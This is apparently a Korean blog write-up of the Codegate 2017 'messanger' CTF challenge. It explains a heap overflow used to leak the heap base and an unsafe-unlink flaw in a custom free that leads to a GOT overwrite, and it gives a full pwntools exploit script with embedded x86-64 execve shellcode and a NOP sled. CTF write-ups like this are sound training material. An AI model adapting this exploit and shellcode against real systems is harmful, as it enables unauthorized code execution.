Profile

머리정리하는곳

c2w2m2

[codegate2017] messanger

Change 부분에서 Heap overflow 가 일어남

=> heap base leak 가능


malloc, free 를 유저 함수로 만들어서 하는데



free 에서 unsafe unlink 비스무리한 취약점이 나온다.


고로 시나리오를 짜보면


heap overflow => heap base leak


unsafe unlink => got overwrite => get shell


참고로 nx 가 꺼져있어서 쉘코드 쓰면된다.


근데 나는 32비트 쉘코드가지고 왜 안되냐며 욕하다가 알아채고 자살할 뻔 했다.



from pwn import *

def Leave(size,message):
p.sendline("L")
p.recvuntil(":")
p.sendline(size)
p.recvuntil(":")
p.sendline(message)
p.recvuntil(">>")

def Change(index,size,message):
p.sendline("C")
p.recvuntil(":")
p.sendline(index)
p.recvuntil(":")
p.sendline(size)
p.recvuntil(":")
p.sendline(message)
p.recvuntil(">>")

def View(index):
p.sendline("V")
p.recvuntil(":")
p.sendline(index)
ret = p.recvuntil(">>")
return ret

def Remove(index):
p.sendline("R")
p.recvuntil(":")
p.sendline(index)
p.recvuntil(">>")

def Quit():
p.sendline("Q")

p = process("./messanger")
context.log_level='debug'

exit_got = 0x602070

p.recvuntil(">>")
Leave('8',"aaaa")
Leave('8',"bbbb")

Change('0','40',"A"*39)

heap = View('0')
heap = heap[heap.rfind("A")+1:heap.find("[L]")].rstrip().lstrip()
print "[Heap] : 0x%x" % u64(heap.ljust(8,'\x00'))
heap = u64(heap.ljust(8,'\x00'))
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x00\x00\x00\x00"

pay = "A"*32 + p64(exit_got - 0x10) + p64(heap + 0x48 + 0x8) # => 0
# "\x90"*8 + jmp shellcode addr => 1
Change('0',str(len(pay)+1),pay)

asmcode = asm("push "+hex(heap + 0x60),arch='amd64',os='linux')
asmcode += asm("ret",arch='amd64',os='linux')

pay2 = "\x90"*8 +asmcode + "\x90"*200 +shellcode 
Change('1',str(len(pay2)+1),pay2)
Remove('1')

p.interactive()

절대 귀찮아서 nop 많이쓴거 아니다




내일부터 시험이라서 이번주 목욜까지는 문제 못풀겠네요 ㅠㅠㅠㅠㅠ 못올린거 많이 올려야 하는데 ㅠㅠㅠㅠㅠㅠ

'Pwnable' 카테고리의 다른 글

[HITCON] start  (0) 2017.12.11
[Pwnable.tw] hacknote  (0) 2017.12.10
[ch4n3 world] Sleepy  (0) 2017.11.22
[pwnable.kr] syscall  (2) 2017.10.03
[DIMI] scan  (0) 2017.09.26